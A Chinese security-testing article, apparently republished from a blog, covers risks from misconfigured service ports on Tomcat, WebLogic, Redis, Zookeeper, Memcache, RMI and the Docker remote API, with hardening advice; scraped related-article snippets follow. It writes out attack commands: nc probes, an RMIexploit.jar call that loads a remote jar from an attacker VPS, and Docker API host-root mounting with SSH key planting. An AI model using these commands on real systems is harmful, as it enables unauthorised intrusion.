常见服务端口安全风险总结

前言

在日常安全测试工作中,至少有30%以上的定级为严重和高危的漏洞,都是基于服务端口配置不当所造成的。

因此,本篇文章主要针对服务端口安全问题展开简单总结,希望能尽量减少在日常开发工作中的严重高危漏洞。(由于篇幅有限,本文只探讨平时在安全测试中所发现的端口服务漏洞)

我们都知道,Web服务一般都是通过端口号来识别的,而端口与服务的关系,就好像端口是闸门钥匙,服务是泄洪水库,当需要泄洪的时候需要用钥匙开启闸门。一旦钥匙保存不当(端口配置不当),那么这把钥匙就有可能被不怀好意的人所利用,所造成的后果往往是很严重的。比如敏感数据被窃取,服务器命令任意执行,服务器权限被非法获取等。下文来讲解具体的某些服务配置不当所造成的漏洞危害,以及如何去正确配置。

服务

Apache/Tomcat/Nginx等中间件(默认端口:80/8080)

1、弱口令(admin/admin,root/root等)

详解:有些应用开放了中间件的控制台页面,如果存在弱口令,可通过爆破登录控制台,对部署的应用进行任意操作,甚至可以上传恶意脚本getshell。

加固:以tomcat为例,删除tomcat目录下的ROOT文件;或者打开conf/tomcat-uers.xml,修改类似于<user username="admin" password="admin" roles="admin,manager"/>的用户名密码。

2、版本信息泄露

详解:当访问应用不存在的页面时,会返回中间件默认设置的404页面,该页面会泄露相关版本信息。某些版本的中间件含有特定漏洞 ,如果攻击者知道了版本信息,可能会针对该版本来进行攻击,因此需要我们自定义错误页面。

加固:在web.xml文件的<error-page>设置中,重定向到自定义的错误页面。

WebLogic(默认端口7001)

1、java反序列化

详解:Java反序列化即,由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。因此要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0和12.2.1.1版本存在反序列化远程命令执行漏洞,恶意人员可以通过构造恶意请求报文远程执行命令。

利用:同样的java反序列化漏洞,也存在于Jboss、Websphere、Jenkins容器中。可利用java反序列化测试工具进行测试。

加固:升级weblogic官方补丁包;或者删除特定文件,删除commons-collections.jar包内org/apache/commons/collections/functors/InvokerTransformer.class文件,要用压缩工具软件打开后直接删除。

2、Weblogic服务端请求伪造漏洞(SSRF)

详解:WebLogic 服务器的 UDDI 功能通常很隐蔽,但外部可以访问,Oracle的 WebLogic web服务器通常(a)外部可访问;(b)被允许调用对内部主机的连接。 SearchPublicRegistries.jsp 页面可被未认证的攻击者滥用,造成 WebLogic 服务器连接任意主机的任意端口。其返回信息非常详细,可被攻击者用来推断在指定端口是否有相关服务在监听。

利用:通过访问http://**.**.**.**/uddiexplorer/SearchPublicRegistries.jsp,点击search,拦截请求包,将operator参数改为想要探测的主机,通过响应信息科判断主机是否被监听,可探测内网。

加固:如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。

Redis数据库(默认端口6379)

1、Redis未授权访问

详解:redis是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

利用:用redis-cli客户端尝试未授权访问,redis-cli -h ip。可获取redis数据库中敏感信息,还可以写入SSH公钥文件来登录受害服务器,从而获取服务器权限。

加固:为Redis 添加密码验证(重启redis才能生效):修改 redis.conf 文件,添加requirepass mypassword(注意redis不要用-a参数,明文输入密码,连接后使用auth证);或者禁止一些高危命令(重启redis才能生效)修改 redis.conf 文件,禁用远程修改 DB 文件地址:

rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""

Zookeeper服务(默认端口2181)

1、未授权访问

详解:分布式的,开放源码的分布式应用程序协调服务。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

利用:执行以下命令即可远程获取该服务器的环境:echo envi | nc ip port

直接连接:./zkCli.sh -server ip:port

加固: 1、禁止把Zookeeper直接暴露在公网2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)3、绑定指定IP访问

Memcache服务(默认端口11211)

1、未授权访问

详解:Memcache是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

利用:1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。2、telnet <target> 11211,或nc -vv <target> 11211,提示连接成功表示漏洞存在。

加固:1、设置memchached只允许本地访问2、禁止外网访问Memcached 11211端口3、编译时加上–enable-sasl,启用SASL认证

RMI服务(默认端口1090、1099)

1、远程命令执行

详解:Java RMI服务是远程方法调用。它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。1099端口原本对应的服务为 Apache ActiveMQ 对 JMX 的支持,但是由于配置不当,导致攻击者可以通过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ,即可以远程执行任意代码。当然,这个 JMX 的利用方法不仅仅在 ActiveMQ 上能够利用,在很多服务支持 JMX 的情况下其实也能够适用。

利用:利用攻击测试文件RMIexploit.jar(可从网上下载),其中的ErrorBaseExec.jar是一个自定义的可以执行回显的jar文件,将它放置到VPS上使得其可以通过http访问。命令行下执行java -jar RMIexploit.jar 目标ip 端口 http://自己ip:端口/ErroBaseExec.jar "命令"

Docker Remote API(默认端口2375)

1、Docker未授权访问

详解:Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

利用:通过访问http://ip/images/json可以获取到所有的 images 列表

http://host:2375/containers/json会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果一样,过Post包我们还可以新建、开启和关闭容器,其他操作比如拉取image等操作也都可以通过API调用完成。

Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限,常见的利用方法如下:

(1)远程对被攻击的主机的docker容器进行操作:docker -H tcp://remoteip:2375 images

(2)启动一个容器并将宿主机根目录挂在到容器的mnt目录:docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash

(3)在本地主机生成公钥文件:ssh-keygen

(4)在容器上的root目录中,mkdir .ssh 创建ssh目录;touch authorized_keys 创建文件

(5)将主机中的rsa.pub里的公钥写入容器中的authorized_keys文件里

(6)ssh [email protected] 免密码登录宿主主机

加固:1、在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:设置ACL,仅允许信任的来源IP连接;设置TLS认证,官方的文档为Protect the Docker daemon socket

1、 客户端连接时需要设置以下环境变量export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

3、在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

结束语

以上关于服务端口的漏洞,都是基于平时对公司产品进行安全测试时所发现的。在WEB应用中,能获取服务器权限或getshell的漏洞,很多都是由于开发人员疏忽了对服务端口的安全配置造成的。其实,只要做好对服务端口的正确配置和加固,就能避免相当一部分高中危甚至是严重的漏洞。

原文地址:https://www.cnblogs.com/yc-shen/p/10855866.html

时间: 2024-10-04 02:56:12

常见服务端口安全风险总结的相关文章

常见服务端口总结

常见服务端口总结 1.什么是端口? 我们把服务器比作一个大房子,而端口就是通向不同房间(服务)的门,不考虑细节,这个比喻很恰当. ? 入侵者要占领这件房子,取得里面的东西,就要破门而入.那对于入侵者来说,就要事先了解这个房子开了几扇门,都是些什么样的门,门后面有些什么东西就显得至关重要. ? 入侵者通常会用一些扫描器来对目标主机的端口进行扫描,以确定哪些端口是开放的,从开放的端口,入侵者可以知道目标主机大致提供了哪些服务,进而猜疑可能存在的漏洞,因此,对端口的扫描可以更好的帮助我们了解目标主机.

linux 常见服务端口

Linux服务器在启动时需要启动很多系统服务,它们向本地和网络用户提供了Linux的系统功能接口,直接面向应用程序和用户.提供这些服务的程序是由运行在后台的守护进程(daemons) 来执行的.守护进程是生存期长的一种进程.它们独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件.他们常常在系统引导装入时启动,在系统 关闭时终止.linux系统有很多守护进程,大多数服务器都是用守护进程实现的.同时,守护进程完成许多系统任务,比如,作业规划进程crond.打印进 程lqd等.有些书籍和资

常见服务端口对照表

序号 服务 协议 端口 1 HTTP TCP 80 2 HTTPS TCP 443 3 FTP TCP 20/21 4 SSH TCP 22 5 SMTP TCP 25 6 DNS TCP/UDP 53 7 DHCP服务端 UDP 67 9 DHCP客户端 UDP 68 10 SMB TCP 445 11 Mysql TCP 3306 12 SqlServer TCP 1433 13 Oracle TCP 1521 14 PostgreSQL TCP 5432 15 Mongodb TCP 27

linux常见服务器端口

 linux 常见服务端口 2008-01-21 16:24:52 分类: LINUX 转            Linux服务器在启动时需要启动很多系统服务,它们向本地和网络用户提供了Linux的系统功能接口,直接面向应用程序和用户.提供这些服务的程序是由 运行在后台的守护进程(daemons) 来执行的.守护进程是生存期长的一种进程.它们独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件.他们常常在系统引导装入时启动,在系统 关闭时终止.linux系统有很多守护进程,大多数服务器

部署audit监控文件、加固常见服务的安全、使用diff和patch工具打补丁

部署audit监控文件.加固常见服务的安全.使用diff和patch工具打补丁 要求熟悉audit审计工具的基本使用,完成以下任务操作: 使用audit监控/etc/ssh/sshd_config 当该文件发生任何变化即记录日志 通过手动和ausearch工具查看日志内容 审计的目的是基于事先配置的规则生成日志,记录可能发生在系统上的事件(正常或非正常行为的事件),审计不会为系统提供额外的安全保护,但她会发现并记录违反安全策略的人及其对应的行为. 审计能够记录的日志内容: a) 日期与事件以及事

常见的端口

443端口说明: 443端口即网页浏览端口,主要是用于HTTPS服务,是提供加密和通过安全端口传输的另一种HTTP.在一些对安全性要求较高的网站,比如银行.证券.购物等,都采用HTTPS服务,这样在这些网站上的交换信息其他人都无法看到,保证了交易的安全性.网页的地址以https://开始,而不是常见的http://.443 SSL心脏滴血以及一些web漏洞测试(例如:在请求网页的后,在开发者工具中可以看到是已443结尾的:Remote Address:112.80.248.75:443) 338

Socket服务端口长连接最多能支持多少?

答案是无限的.视服务端的资源而不同. 以前一直认为服务端在Accept客户端连接后,会开启一个新的端口与客户端建立链路,但这是错误的.事实上,一个连路是由Server IP+server Port + client IP + client port唯一定义.那么监听服务打开80时意味着这个服务打开了一个文件,当有client接入时,只要没有重复的链路,都会创建一个新链路,那么对于server端还是同一个端口,与客户端实现了同一个服务端口与不同的client建立了长/短连接的链路. 而以前在用C写

如何设置启动SMTP、POP3以及IMAP4的SSL服务端口?

生成服务器证书 登录管理员->系统设置->证书管理,点击新增,新增一个服务器证书. 注:相关字段添加两位缩写英文字母.域名选择 root.2. 添加SMTP SSL 端口 登录管理员->系统设置->smtp 服务->服务端口,进入端口列表界面,添加新的SSL端口. 3. 添加POP3 SSL 端口登录管理员->系统设置->POP3服务->服务端口,进入端口列表界面,添加新的SSL端口. 4. 添加IMAP SSL 端口登录管理员->系统设置->I

在服务器本地监控服务端口命令之ss

在服务器本地监控服务端口命令之ss 当服务器的socket连接数量变得非常大时,无论是使用netstat命令还是直接cat /proc/net/tcp,执行速度都会很慢.可能你不会有 切身的感受,但当服务器维持的连接达到上万个的时候,使用netstat等于浪费 生命,而用ss才是节省时间.天 下武功唯快不破.ss快的秘诀在于,它利用到了TCP协议栈中tcp_diag.tcp_diag是一个用于分析统计的模块,可以获得Linux 内核中 第一手的信息,这就确保了ss的快捷高效.当然,如果你的系统中